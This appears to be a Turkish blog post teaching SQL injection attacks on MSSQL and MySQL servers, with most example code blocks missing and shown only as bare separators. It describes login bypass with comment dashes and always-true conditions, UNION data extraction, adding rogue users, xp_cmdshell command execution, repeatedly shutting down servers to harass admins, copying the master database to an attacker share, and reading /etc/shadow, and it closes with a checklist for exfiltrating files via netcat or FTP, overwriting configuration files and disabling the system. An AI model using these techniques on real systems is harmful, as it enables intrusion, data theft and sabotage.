SQL Injection
SQL Injection(SI)'nin calisma mantigi nedir?
Sql injecktion web aplikasyonu ustunden databasede oynamalar yapmamizi saglayan bir cesit input manipulasyonudur, serverda beklenmedik sql komutlari calistirarak istediginiz veriyi silebilir, ekleyebiliriz, sifreleri gecersiz kilip sisteme girebiliriz.Meselea asagidaki ornekte database gonderilen normal bir sql statementini gormektesiniz.
|
bu statement kullanicidan aldigi $user_id ve $password degiskenlerini database bildirmektedir. Mesela asagidaki ornek script bu isi icra eder.
|
Kullanicinin bilgilerini girdigi url ciktisi ise asagidadir:
|
Eger girilen veriler dogrusu ise program kullanciya giris haklarini verecektir. Simdi de olaya bir de tersinden bakalim, Eger SI sokarsak durum ne olur??
|
Kullandigimiz parametreyi encode de edebiliriz bu sekilde ihtimal dahilindeki filtrelemeleri de gecebilme sansina sahib olabiliriz.Burada SI sirasinda kullandigimiz parametre (--) double dash'tir. Sql dilinde double dash aslinda yazilan satirin bir yorum satiri oldugunu gosterir, Yani bu ornekte $password degiskenine ek olarak double dash da ekledigimiz zaman sql bunu bir yorum satiri sanarak yorumlamayip es gecmektedir.
Select Statement Manipulasyonu:
Yine cok bilinen bir yomtem de Select statementina dogru olan bir durum eklenmesidir. mesela:
|
veya:
|
bu tip saldirilari eger hedef sistemiin hem kullanici adi hem de password degiskenlerine karsi kullanip da basarili olursaniz genellikle tabledaki ilk userin haklari ile sisteme girersiniz, ki bu sanssiz kisi de genellikle admin olur.
|
ek olarak eger bu islem basarili olupda girdiginiz querynin sonucu browsera dokuluyorsa, o zaman url satirindan joker karakter olan % karakteri ile tum kullanicilarin adlarina ulasabilirsiniz. dikkat etmeniz gereken nokta % karakterinin encode olarak yazmalisiniz.
|
URL ustunden girisirken bosluk karakteri muhakkak encode olmalidir (%20), ya da bosluk karakteri yerine + karakteri kullanilmalidir.
SELECT AND UNION ile veri cekme:
|
Bu da select and union ile farkli bir tabledaki veriyi ceken bir statement ornegi.dikkat ediyorsaniz bosluk karakteri yerine + karakterini kullaniyoruz.
|
INSERT komutu ile database modifiye etmek:
Standart olarak su sekilde kullanilir:
|
URL uzerinde calisirken:
|
bu da script icindeki sekli:
|
Bu islemler ile asil amacimiz database yeni bir kullanici eklemek, yanliz dikkat edilmesi gereken bir husus sifrenin genellikle bos birakilmasi gerektigidir, cunku genellikle cogu server plain text password yerine hash bekledigi icin bu bizim icin ekstra is demektir, bu nedenle bos kullanmak daha mantiklidir.
SI yaparken gordugunuz gibi hedef databasin yapisini iyi bilmek gerekir, tabiki table isimleri, deigsken adlari, o serverin standart degiskenlerini hepsini iyi bilmek gerekmektedir. bunun icin hem temel bilginiz olmali hem de servera verdirdiginiz hata mesajlarini cok iyi analiz etmeniz gerekmektedir. asagidaki sema da bazi sql serverlarin hakkinda temel bilgiler gosterilmistir, dikkarle incelemeniz onerilir. Bir altindaki semada ise bazi cok yaygin olarak kullanilan sql stringleri gosterilmistir.
Simdi sirayla SQL kullanan serverlari inceleyelim:
MSSQL:
SI calistirabilecek mssql serverlari bulmanin en kolay yolu URL ustundeki parametlere ' tek tirnak karakteri eklemektir. vulnerable olan serverlarda bizlere cesitli bilgiler sunacak olan hata mesajlari vereceklerdir. Asagida bu tip hata mesajlarindan 3 tanesi verilmistir.
|
Asagidaki orneklere bakarsaniz mssqlin sadece asp calistiran IISlerde calismadigini da anlarsiniz
|
Mssqlde SI calisirken saldiriniza renk katan en onemli ozelligi acik olan serverlarin ayni xplerdeki cmd.exe gibi bir shell aclistirmaniza olanak saglamasi ve bir takin komutlari calistirabilmesidir. bunlarin arasinda en sik bilineni xp_cmdshell komutudur.
|
URL uzerinden girisirken
|
Ek olarak acik olan mssqllerde calistirabileceginiz komutlar asagidaki semada verilmistir. Sekillerdeki komutlari neten daha sonra ayrintili olarak ogrenmeye calismaniz gerekmektedir
Bir kac ornek vermek gerekirse SI acigi olan bir mssqli SHUTDOWN WITH NOWAIT; komtu ile remote olarak kapatabilirsiniz, server online olunca tekrar kapatabilirsiniz, artik en zaman ids loglarini inceleyip server admini cakarsa o zamana kadar server ile mum sondu oynayabilirsiniz. Bir baska ornek ise BACKUP database master to disk='\\ipaddress\share\bak.dat'; komutu ile whole databasei baska bir konuma kopyalayabilirsiniz.(bu komutun calismasi icin kendi bilgisayarinizda bir paylasim acmaniz gerekmektedir)
Faydali objectker ve Degiskenler:
Mssqlde internal degiskenler [at][at] on adi ile tanimlanilar ve basit SELECT statementlari ile kullanilabilirler. Asagidaki semada bahsettigimiz internal degisken ve objectlerin listesini bulabilirsiniz.
MYSQL:
Mysqlde yorum satiri aksiyonunundan bahsetmistik ufak bir kac eklemeyle tekrar ustunden gecelim. Mysqlde yorum satiri --%20 veya # veya /* hello world */ seklinde olabilir. Bunu nerde kullandigimiz yukarda yazmistik.
Dosya Sisteminden Veri Cekmek:
Mysqlin dosya okumamiza saglayan bir kac komutu vardir, bu komutlar eger dosya okunabilir erisime sahip ise ve database klasorunun (datadir degiskeninin degeri yani) altinda ise dosya okumamizi saglar, kissadan hisse yazmak gerekirse eger mysql kaza ile ! root olarak calistirilirsa o zaman /etc/shadowdan hashlari alabilirsiniz.bu durumda hashlari almak 3 basamaktan olusmaktadir. 1. hashlarin icinde bulundugu table yazmak, veya halihazirda boyle bir table bulunabilir, 2. bu tablein icini /etc/shadow ile doldurmak icin LOAD DATA INFILE komutunu calistirmak, 3. kendi yaptigimiz tablein icindeki ilk satiri SELECT komutu ile cekmek.gosterirsek:
|
URL uzerinden calisirken suna benzer parametreler gorebilirsiniz:
|
Dosya Sistemine Veri Yazmak:
Eger web server ve database server ayni hostda degilse ve mysql userin yazma hakki yoksa web root dizinine dosya yazamazsiniz.
OZET YAPARSAK::!::
yukarda bazi temel hack tiplerinden bahsettik fakat kompresif bir metedolojiden bahsetmedik, yani olayin sistemedigini soylemedik, simdi bu hatamizi telafi edicegiz
- Hangi parametrenin hata verdirdigin bulmeya calisin. %00, %27, %3B gibi parametleri kullanip, serverin verdigi hatalari cok iyi analiz edin.
- Hatalar icinde database, column ve table isimlerini arayin.
- Standart degiskenleri kullanarak sistem hakkinda bilgi sahibi olmaya calisin.
- Standart database objelerini sorgulayin (database. table. column isimleri)
- Use OR TRUE = TRUE komutu loginleri bypass edin.
- Buldugunuz standart database tablelarin icine istediginiz bilgiyi yerlestirin.
- xp_cmdshell 'le server ustunde komut calistirmaya calisilin
-ftp,tftd veya netcata dosya godnermeye calisin
-dosyalari web root klasore kopyalayin
-onemli konfigurasyon dosyalarinin ustune istediginiz verileri yazin
-sistemi iptal edin
No comments:
Post a Comment